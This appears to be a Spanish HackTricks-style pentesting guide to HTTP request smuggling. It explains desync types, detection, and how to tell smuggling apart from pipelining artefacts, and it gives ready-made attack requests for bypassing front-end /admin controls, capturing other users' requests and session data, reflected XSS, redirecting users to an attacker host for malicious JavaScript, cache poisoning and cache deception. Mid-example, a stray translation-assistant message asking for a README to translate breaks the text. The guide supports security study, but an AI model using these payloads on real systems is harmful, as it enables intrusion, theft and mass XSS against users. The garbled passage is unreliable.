HTTP Request Smuggling / HTTP Desync Attack

Reading time: 35 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Qué es

Esta vulnerabilidad ocurre cuando una desincronización entre los front-end proxies y el back-end server permite a un attacker send una HTTP request que será interpretada como una sola request por los front-end proxies (load balance/reverse-proxy) y como 2 requests por el back-end server.
Esto permite a un usuario modificar la siguiente request que llega al back-end después de la suya.

Teoría

RFC Specification (2161)

Si un mensaje se recibe con ambos campos de cabecera Transfer-Encoding y Content-Length, el último DEBE ser ignorado.

Content-Length

La cabecera de entidad Content-Length indica el tamaño del entity-body, en bytes, enviado al receptor.

Transfer-Encoding: chunked

La cabecera Transfer-Encoding especifica la forma de encoding usada para transferir de forma segura el payload body al usuario.
Chunked significa que datos grandes se envían en una serie de chunks.

Realidad

El Front-End (un load-balance / Reverse Proxy) procesa la cabecera Content-Length o la cabecera Transfer-Encoding y el Back-end server procesa la otra, provocando una desincronización entre los 2 sistemas.
Esto puede ser muy crítico ya que un attacker podrá enviar una request al reverse proxy que será interpretada por el back-end server como 2 requests diferentes. El peligro de esta técnica reside en que el back-end server interpretará la segunda request inyectada como si viniera del siguiente cliente y la request real de ese cliente formará parte de la request inyectada.

Particularidades

Recuerda que en HTTP un carácter de nueva línea está compuesto por 2 bytes:

  • Content-Length: Esta cabecera usa un número decimal para indicar el número de bytes del body de la request. Se espera que el body termine en el último carácter, no es necesario un new line al final de la request.
  • Transfer-Encoding: Esta cabecera usa en el body un número hexadecimal para indicar el número de bytes del siguiente chunk. El chunk debe terminar con una new line pero esta new line no está contada por el indicador de longitud. Este método de transferencia debe terminar con un chunk de tamaño 0 seguido por 2 new lines: 0
  • Connection: Basado en mi experiencia se recomienda usar Connection: keep-alive en la primera request del request Smuggling.

Visible - Hidden

El problema principal con HTTP/1.1 es que todas las requests van por el mismo socket TCP, así que si se encuentra una discrepancia entre 2 sistemas que reciben requests es posible enviar una request que será tratada como 2 requests diferentes (o más) por el backend final (o incluso por sistemas intermedios).

This blog post propone nuevas formas de detectar desync attacks a un sistema que no serán señaladas por WAFs. Para ello presenta los comportamientos Visible vs Hidden. El objetivo en este caso es intentar encontrar discrepancias en la respuesta usando técnicas que podrían estar causando desyncs sin explotar realmente nada.

Por ejemplo, enviar una request con el host header normal y un header " host", si el backend se queja sobre esta request (tal vez porque el valor de " host" es incorrecto) puede significar que el front-end no vio el header " host" mientras que el backend sí lo usó, altamente probable implicando una desincronización entre front-end y back-end.

Esto sería una discrepancia Hidden-Visible.

Si el front-end hubiera tomado en cuenta el header " host" pero el front-end no lo hizo, esto podría haber sido una situación Visible-Hidden.

Por ejemplo, esto permitió descubrir desyncs entre AWS ALB como front-end e IIS como backend. Esto fue porque cuando se envió "Host: foo/bar", el ALB devolvió 400, Server; awselb/2.0, pero cuando se envió "Host : foo/bar", devolvió 400, Server: Microsoft-HTTPAPI/2.0, indicando que el backend estaba enviando la respuesta. Esto es una situación Hidden-Visible (H-V).

Nota que esta situación no está corregida en AWS, pero puede ser prevenida configurando routing.http.drop_invalid_header_fields.enabled y routing.http.desync_mitigation_mode = strictest.

Ejemplos básicos

tip

Al intentar explotar esto con Burp Suite desactiva Update Content-Length y Normalize HTTP/1 line endings en el repeater porque algunos gadgets abusan de newlines, carriage returns y content-lengths malformados.

Los ataques de HTTP request smuggling se construyen enviando requests ambiguas que explotan discrepancias en cómo los front-end y back-end servers interpretan las cabeceras Content-Length (CL) y Transfer-Encoding (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como CL.TE, TE.CL, y TE.TE. Cada tipo representa una combinación única de cómo los front-end y back-end servers priorizan estas cabeceras. Las vulnerabilidades surgen porque los servers procesan la misma request de manera diferente, conduciendo a resultados inesperados y potencialmente maliciosos.

Ejemplos básicos de tipos de vulnerabilidad

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

Al anterior tabla deberías añadir la técnica TE.0, similar a CL.0 pero usando Transfer Encoding.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Procesa la request basándose en la cabecera Content-Length.

  • Back-End (TE): Procesa la request basándose en la cabecera Transfer-Encoding.

  • Escenario de ataque:

  • El attacker envía una request donde el valor de la cabecera Content-Length no coincide con la longitud real del contenido.

  • El front-end server reenvía toda la request al back-end, basándose en el valor Content-Length.

  • El back-end server procesa la request como chunked debido a la cabecera Transfer-Encoding: chunked, interpretando los datos restantes como una request separada y subsecuente.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Procesa la request basándose en la cabecera Transfer-Encoding.

  • Back-End (CL): Procesa la request basándose en la cabecera Content-Length.

  • Escenario de ataque:

  • El attacker envía una request chunked donde el tamaño del chunk (7b) y la longitud real del contenido (Content-Length: 4) no coinciden.

  • El front-end server, respetando Transfer-Encoding, reenvía toda la request al back-end.

  • El back-end server, respetando Content-Length, procesa solo la parte inicial de la request (7b bytes), dejando el resto como parte de una request subsecuente no intencionada.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: Ambos soportan Transfer-Encoding, pero uno puede ser engañado para ignorarlo vía obfuscación.

  • Escenario de ataque:

  • El attacker envía una request con cabeceras Transfer-Encoding ofuscadas.

  • Dependiendo de qué server (front-end o back-end) no reconozca la ofuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.

  • La parte no procesada de la request, tal como la ve uno de los servers, se convierte en parte de una request posterior, conduciendo al smuggling.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • Ambos servers procesan la request basándose únicamente en la cabecera Content-Length.
  • Este escenario típicamente no conduce a smuggling, ya que hay alineación en cómo ambos servers interpretan la longitud de la request.
  • Ejemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Se refiere a escenarios donde la cabecera Content-Length está presente y tiene un valor distinto de cero, indicando que el body de la request tiene contenido. El back-end ignora la cabecera Content-Length (que se trata como 0), pero el front-end la parsea.
  • Es crucial para entender y crear ataques de smuggling, ya que influye en cómo los servers determinan el final de una request.
  • Ejemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Igual que el anterior pero usando TE
  • Técnica reported here
  • Ejemplo:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL Escenario

En una situación 0.CL se envía una request con un Content-Length como:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

Y el front-end no tiene en cuenta el Content-Length, así que solo envía la primera petición al backend (hasta el 7 en el ejemplo). Sin embargo, el backend ve el Content-Length y espera un cuerpo que nunca llega, porque el front-end ya está esperando la respuesta.

No obstante, si existe una petición que pueda enviarse al backend y que sea respondida antes de recibir el cuerpo de la misma, ese deadlock no ocurrirá. En IIS, por ejemplo, esto sucede al enviar peticiones a nombres prohibidos como /con (check the documentation), de este modo la petición inicial será respondida directamente y la segunda petición contendrá la petición de la víctima como:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

Esto es útil para causar una desync, pero no tendrá ningún impacto hasta ahora.

Sin embargo, el artículo ofrece una solución para esto convirtiendo un 0.CL attack into a CL.0 with a double desync.

Rompiendo el servidor web

Esta técnica también es útil en escenarios donde es posible romper un servidor web mientras se leen los datos HTTP iniciales pero sin cerrar la conexión. De este modo, el body de la HTTP request será considerado la siguiente HTTP request.

Por ejemplo, como se explica en this writeup, en Werkzeug era posible enviar algunos caracteres Unicode y eso haría que el servidor se rompa. Sin embargo, si la conexión HTTP se creó con el header Connection: keep-alive, el body de la request no se leerá y la conexión permanecerá abierta, por lo que el body de la request será tratado como la next HTTP request.

Forzar mediante hop-by-hop headers

Abusando de hop-by-hop headers podrías indicar al proxy que elimine el header Content-Length o Transfer-Encoding para que sea posible abusar de HTTP request smuggling.

Connection: Content-Length

Para más información sobre hop-by-hop headers visita:

hop-by-hop headers

Detección de HTTP Request Smuggling

La identificación de vulnerabilidades de HTTP request smuggling a menudo puede lograrse mediante técnicas de temporización, que se basan en observar cuánto tarda el servidor en responder a peticiones manipuladas. Estas técnicas son particularmente útiles para detectar vulnerabilidades CL.TE y TE.CL. Además de estos métodos, hay otras estrategias y herramientas que pueden usarse para encontrar tales vulnerabilidades:

Detección de vulnerabilidades CL.TE usando técnicas de temporización

  • Método:

  • Envía una petición que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observación:

  • El servidor front-end procesa la petición basándose en Content-Length y corta el mensaje prematuramente.

  • El servidor back-end, esperando un mensaje chunked, espera el siguiente chunk que nunca llega, causando un retraso.

  • Indicadores:

  • Time-outs o largos retrasos en la respuesta.

  • Recibir un error 400 Bad Request del servidor back-end, a veces con información detallada del servidor.

Detección de vulnerabilidades TE.CL usando técnicas de temporización

  • Método:

  • Envía una petición que, si la aplicación es vulnerable, hará que el servidor back-end espere datos adicionales.

  • Ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observación:
  • El servidor front-end procesa la petición basándose en Transfer-Encoding y reenvía todo el mensaje.
  • El servidor back-end, esperando un mensaje basado en Content-Length, espera datos adicionales que nunca llegan, causando un retraso.

Otros métodos para encontrar vulnerabilidades

  • Análisis de respuestas diferenciales:
  • Envía versiones ligeramente diferentes de una petición y observa si las respuestas del servidor difieren de forma inesperada, lo que indicaría una discrepancia en el parseo.
  • Uso de herramientas automatizadas:
  • Herramientas como la extensión 'HTTP Request Smuggler' de Burp Suite pueden probar automáticamente estas vulnerabilidades enviando distintas formas de peticiones ambiguas y analizando las respuestas.
  • Pruebas de variación de Content-Length:
  • Envía peticiones con distintos valores de Content-Length que no coincidan con la longitud real del contenido y observa cómo el servidor maneja dichos desajustes.
  • Pruebas de variación de Transfer-Encoding:
  • Envía peticiones con encabezados Transfer-Encoding ofuscados o malformados y supervisa cómo responden de forma diferente el servidor front-end y el back-end ante esas manipulaciones.

El encabezado Expect: 100-continue

Comprueba cómo este encabezado puede ayudar a explotar un http desync en:

Special Http Headers

Pruebas de vulnerabilidad de HTTP Request Smuggling

Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si las peticiones del cliente pueden ser manipuladas. Un método sencillo es intentar envenenar tus peticiones, por ejemplo, provocar que una petición a / devuelva un 404. Los ejemplos CL.TE y TE.CL discutidos anteriormente en Ejemplos básicos demuestran cómo envenenar la petición de un cliente para provocar una respuesta 404, a pesar de que el cliente intentaba acceder a un recurso diferente.

Consideraciones clave

Al probar vulnerabilidades de request smuggling interfiriendo con otras peticiones, ten en cuenta:

  • Conexiones de red distintas: Las peticiones "attack" y "normal" deben enviarse por conexiones de red separadas. Usar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
  • URL y parámetros consistentes: Procura usar URLs idénticas y los mismos nombres de parámetros para ambas peticiones. Las aplicaciones modernas a menudo enrutan las peticiones a servidores back-end específicos basándose en la URL y los parámetros. Hacer coincidir estos aumenta la probabilidad de que ambas peticiones sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
  • Condiciones de temporización y carrera: La petición "normal", destinada a detectar interferencias de la petición "attack", compite con otras peticiones concurrentes de la aplicación. Por lo tanto, envía la petición "normal" inmediatamente después de la petición "attack". Aplicaciones con mucho tráfico pueden requerir múltiples intentos para confirmar la vulnerabilidad de forma concluyente.
  • Desafíos de balanceo de carga: Los servidores front-end que actúan como load balancers pueden distribuir peticiones entre varios sistemas back-end. Si las peticiones "attack" y "normal" acaban en sistemas distintos, el ataque no tendrá éxito. Este aspecto de load balancing puede requerir varios intentos para confirmar una vulnerabilidad.
  • Impacto involuntario en usuarios: Si tu ataque impacta por error la petición de otro usuario (no la petición "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, por lo que se requiere un enfoque cauteloso.

Distinguir artefactos de pipelining de HTTP/1.1 vs request smuggling genuino

La reutilización de la conexión (keep-alive) y el pipelining pueden producir fácilmente ilusiones de "smuggling" en herramientas de prueba que envían múltiples peticiones por el mismo socket. Aprende a separar artefactos inofensivos del lado cliente de un verdadero desync en el lado del servidor.

Por qué el pipelining crea falsos positivos clásicos

HTTP/1.1 reutiliza una sola conexión TCP/TLS y concatena peticiones y respuestas en el mismo flujo. En el pipelining, el cliente envía múltiples peticiones una tras otra y depende de respuestas en orden. Un falso positivo común es reenviar una carga útil malformada de estilo CL.0 dos veces en una única conexión:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Por favor pega el contenido de src/pentesting-web/http-request-smuggling/README.md que quieres que traduzca. Indica si quieres traducir todo el archivo o solo secciones específicas. Recuerda que no traduciré código, nombres de técnicas, tags ni enlaces.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Si el server ignoró el Content_Length malformado, no hay FE↔BE desync. Con reuse, tu client en realidad envió este byte-stream, que el server analizó como dos requests independientes:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impacto: ninguno. Simplemente desincronizaste tu cliente de la delimitación del servidor.

tip

Módulos de Burp que dependen de reuse/pipelining: Turbo Intruder con requestsPerConnection>1, Intruder con "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" o "Enable connection reuse".

Pruebas litmus: pipelining o desync real?

  1. Disable reuse and re-test
  • En Burp Intruder/Repeater, desactiva HTTP/1 reuse y evita "Send group in sequence".
  • En Turbo Intruder, ajusta requestsPerConnection=1 y pipeline=False.
  • Si el comportamiento desaparece, probablemente fue client-side pipelining, a menos que estés tratando con objetivos connection-locked/stateful o client-side desync.
  1. HTTP/2 nested-response check
  • Envía una petición HTTP/2. Si el cuerpo de la respuesta contiene una respuesta HTTP/1 completa anidada, has probado un bug de backend parsing/desync en lugar de un simple artefacto del cliente.
  1. Partial-requests probe for connection-locked front-ends
  • Algunos FEs solo reutilizan la conexión upstream al BE si el cliente reutilizó la suya. Usa partial-requests para detectar comportamiento del FE que refleja el reuse del cliente.
  • Consulta PortSwigger "Browser‑Powered Desync Attacks" para la técnica connection-locked.
  1. State probes
  • Busca diferencias entre la primera y las solicitudes subsiguientes en la misma conexión TCP (first-request routing/validation).
  • Burp "HTTP Request Smuggler" incluye un connection‑state probe que automatiza esto.
  1. Visualize the wire
  • Usa la extensión de Burp "HTTP Hacker" para inspeccionar la concatenación y el framing de mensajes directamente mientras experimentas con reuse y partial requests.

Connection‑locked request smuggling (reuse-required)

Algunos front-ends solo reutilizan la conexión upstream cuando el cliente reutiliza la suya. Existe smuggling real pero es condicional al reuse del lado del cliente. Para distinguir y demostrar impacto:

  • Probar el bug del lado del servidor
  • Usar el HTTP/2 nested-response check, o
  • Usar partial-requests para mostrar que el FE solo reutiliza upstream cuando el cliente lo hace.
  • Mostrar impacto real incluso si el abuso directo de sockets entre usuarios está bloqueado:
    • Cache poisoning: envenena caches compartidos vía el desync para que las respuestas afecten a otros usuarios.
    • Internal header disclosure: refleja headers inyectados por el FE (p. ej., auth/trust headers) y pivota a un auth bypass.
    • Bypass FE controls: smuggle rutas/métodos restringidos pasado el front-end.
    • Host-header abuse: combina con peculiaridades de host routing para pivotar a vhosts internos.
  • Flujo de trabajo del operador
    • Reproduce con reuse controlado (Turbo Intruder requestsPerConnection=2, o Burp Repeater tab group → "Send group in sequence (single connection)").
    • Luego encadena a primitives de cache/header-leak/control-bypass y demuestra impacto cross-user o de autorización.

Véase también connection‑state attacks, que están estrechamente relacionados pero no son técnicamente smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Si apuntas a browser-powered/client-side desync, la request maliciosa debe poder ser enviada por un navegador cross-origin. Los trucos de obfuscación de headers no funcionarán. Enfócate en primitives alcanzables vía navigation/fetch, y luego pivota a cache poisoning, header disclosure o front-end control bypass cuando componentes downstream reflejen o cacheen respuestas.

Para antecedentes y workflows end-to-end:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): expone comportamiento HTTP de bajo nivel y concatenación de sockets.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: control preciso sobre el reuse de conexión vía requestsPerConnection.
  • Burp HTTP Request Smuggler: incluye un connection‑state probe para detectar first‑request routing/validation.

note

Considera los efectos que dependen solo de reuse como no-problemas a menos que puedas probar server-side desync y adjuntar impacto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

A veces, los proxies front-end aplican medidas de seguridad, inspeccionando las requests entrantes. Sin embargo, estas medidas pueden ser eludidas explotando HTTP Request Smuggling, permitiendo acceso no autorizado a endpoints restringidos. Por ejemplo, el acceso a /admin podría estar prohibido externamente, con el proxy front-end bloqueando activamente esos intentos. No obstante, este proxy puede no inspeccionar requests embebidas dentro de una request smuggled, dejando una vulnerabilidad para eludir estas restricciones.

Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede usarse para eludir controles de seguridad del front-end, apuntando específicamente al path /admin que normalmente está protegido por el proxy front-end:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

En el ataque CL.TE, la cabecera Content-Length se aprovecha para la solicitud inicial, mientras que la solicitud incrustada posterior utiliza la cabecera Transfer-Encoding: chunked. El proxy frontal procesa la solicitud POST inicial pero no inspecciona la solicitud incrustada GET /admin, lo que permite el acceso no autorizado a la ruta /admin.

TE.CL Ejemplo

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Por el contrario, en el ataque TE.CL, la solicitud inicial POST usa Transfer-Encoding: chunked, y la solicitud incrustada subsiguiente se procesa en base a la cabecera Content-Length. Al igual que en el ataque CL.TE, el proxy front-end pasa por alto la solicitud smuggled GET /admin, otorgando inadvertidamente acceso a la ruta restringida /admin.

Revelando la reescritura de solicitudes en el front-end

Las aplicaciones a menudo emplean un front-end server para modificar las solicitudes entrantes antes de pasarlas al back-end. Una modificación típica implica añadir cabeceras, como X-Forwarded-For: <IP of the client>, para transmitir la IP del cliente al back-end. Comprender estas modificaciones puede ser crucial, ya que podría revelar maneras de evadir protecciones o descubrir información o endpoints ocultos.

Para investigar cómo un proxy altera una solicitud, localiza un parámetro POST que el back-end refleje en la respuesta. Luego, construye una solicitud, utilizando este parámetro al final, similar a la siguiente:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

En esta estructura, los componentes de la solicitud posteriores se anexan después de search=, que es el parámetro reflejado en la respuesta. Esta reflexión expondrá los encabezados de la solicitud subsecuente.

Es importante alinear el encabezado Content-Length de la petición anidada con la longitud real del contenido. Es recomendable comenzar con un valor bajo e incrementarlo gradualmente, ya que un valor demasiado bajo truncará los datos reflejados, mientras que uno demasiado alto puede provocar un error en la solicitud.

Esta técnica también es aplicable en el contexto de una vulnerabilidad TE.CL, pero la solicitud debe terminar con search=\r\n0. Independientemente de los caracteres de nueva línea, los valores se anexarán al parámetro search.

Este método sirve principalmente para comprender las modificaciones que realiza el proxy front-end en la solicitud, realizando esencialmente una investigación autodirigida.

Captura de solicitudes de otros usuarios

Es factible capturar las solicitudes del siguiente usuario añadiendo una petición específica como el valor de un parámetro durante una operación POST. Así es como se puede llevar a cabo:

Al anexar la siguiente petición como valor de un parámetro, puedes almacenar la solicitud del cliente siguiente:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

En este escenario, el comment parameter está destinado a almacenar el contenido dentro de la sección de comentarios de una publicación en una página de acceso público. En consecuencia, el contenido de la siguiente solicitud aparecerá como un comentario.

Sin embargo, esta técnica tiene limitaciones. Generalmente captura datos solo hasta el delimitador de parámetros usado en la smuggled request. Para envíos de formularios URL-encoded, este delimitador es el carácter &. Esto significa que el contenido capturado de la solicitud del usuario víctima se detendrá en el primer &, que incluso puede formar parte de la query string.

Además, vale la pena señalar que este enfoque también es viable con una vulnerabilidad TE.CL. En esos casos, la solicitud debe terminar con search=\r\n0. Independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro search.

Usando HTTP request smuggling para explotar Reflected XSS

HTTP Request Smuggling puede utilizarse para explotar páginas web vulnerables a Reflected XSS, ofreciendo ventajas importantes:

  • La interacción con los usuarios objetivo no es necesaria.
  • Permite la explotación de XSS en partes de la solicitud que son normalmente inalcanzables, como HTTP request headers.

En escenarios donde un sitio web es susceptible a Reflected XSS a través del User-Agent header, el siguiente payload demuestra cómo explotar esta vulnerabilidad:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Este payload está estructurado para explotar la vulnerabilidad de la siguiente manera:

  1. Iniciando una petición POST, aparentemente típica, con la cabecera Transfer-Encoding: chunked para indicar el inicio del smuggling.
  2. Seguido por un 0, que marca el fin del cuerpo del mensaje chunked.
  3. Después, se introduce una petición GET smuggled, donde la cabecera User-Agent se inyecta con un script, <script>alert(1)</script>, desencadenando el XSS cuando el servidor procesa esta petición subsecuente.

Al manipular el User-Agent mediante smuggling, el payload elude las restricciones normales de la petición, explotando así la vulnerabilidad Reflected XSS de una manera no estándar pero eficaz.

HTTP/0.9

caution

En caso de que el contenido del usuario se refleje en una respuesta con un Content-type como text/plain, impidiendo la ejecución del XSS. ¡Si el servidor soporta HTTP/0.9 podría ser posible eludir esto!

La versión HTTP/0.9 precede a la 1.0 y solo usa verbos GET y no responde con headers, solo el body.

In this writeup, esto fue explotado mediante request smuggling con un endpoint vulnerable que responde con la entrada del usuario para smugglear una petición con HTTP/0.9. El parámetro que se reflejaba en la respuesta contenía una fake HTTP/1.1 response (con headers y body), por lo que la respuesta incluirá código JS ejecutable válido con un Content-Type de text/html.

Explotando redirecciones on-site con HTTP Request Smuggling

Las aplicaciones a menudo redirigen de una URL a otra usando el hostname de la cabecera Host en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra final provoca una redirección para incluir la barra:

GET /home HTTP/1.1
Host: normal-website.com

Resulta en:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Aunque aparentemente inofensivo, este comportamiento puede ser manipulado usando HTTP request smuggling para redirigir a los usuarios a un sitio externo. Por ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Esta smuggled request podría causar que la siguiente user request procesada sea redirigida a un sitio web controlado por el atacante:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Resulta en:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

En este escenario, la petición de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario sirviendo JavaScript malicioso en la respuesta.

Explotando Web Cache Poisoning vía HTTP Request Smuggling

Web cache poisoning puede ejecutarse si algún componente de la infraestructura front-end almacena contenido en caché, normalmente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible envenenar la caché.

Anteriormente observamos cómo las respuestas del servidor podían alterarse para devolver un error 404 (consulta Basic Examples). De forma similar, es factible engañar al servidor para que entregue el contenido de /index.html en respuesta a una petición por /static/include.js. En consecuencia, el contenido de /static/include.js queda reemplazado en la caché por el de /index.html, dejando /static/include.js inaccesible para los usuarios y pudiendo conducir a un Denial of Service (DoS).

Esta técnica se vuelve particularmente potente si se descubre una Open Redirect vulnerability o si existe un on-site redirect to an open redirect. Tales vulnerabilidades pueden explotarse para reemplazar el contenido en caché de /static/include.js por un script bajo control del atacante, habilitando esencialmente un ataque masivo de Cross-Site Scripting (XSS) contra todos los clientes que soliciten el /static/include.js actualizado.

A continuación se muestra una ilustración de la explotación de cache poisoning combinado con un on-site redirect to open redirect. El objetivo es alterar el contenido en caché de /static/include.js para servir código JavaScript controlado por el atacante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Note la petición embebida que apunta a /post/next?postId=3. Esta petición será redirigida a /post?postId=4, utilizando el Host header value para determinar el dominio. Al alterar el Host header, el atacante puede redirigir la petición a su dominio (on-site redirect to open redirect).

Después de un socket poisoning exitoso, se debe iniciar una GET request para /static/include.js. Esta petición será contaminada por la anterior petición de on-site redirect to open redirect y obtendrá el contenido del script controlado por el atacante.

Posteriormente, cualquier petición a /static/include.js servirá el contenido en caché del script del atacante, lanzando efectivamente un amplio ataque XSS.

Using HTTP request smuggling to perform web cache deception

¿Cuál es la diferencia entre web cache poisoning y web cache deception?

  • En web cache poisoning, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y ese contenido se sirve desde la caché a otros usuarios de la aplicación.
  • En web cache deception, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera ese contenido de la caché.

El atacante crea una smuggled request que recupera contenido sensible específico de un usuario. Considere el siguiente ejemplo:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

If this smuggled request poisons a cache entry intended for static content (e.g., /someimage.png), the victim's sensitive data from /private/messages might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.

Abusar de TRACE a través de HTTP Request Smuggling

En esta publicación se sugiere que si el servidor tiene el método TRACE habilitado podría ser posible abusar de él con un HTTP Request Smuggling. Esto se debe a que este método reflejará cualquier header enviado al servidor como parte del body de la respuesta. Por ejemplo:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

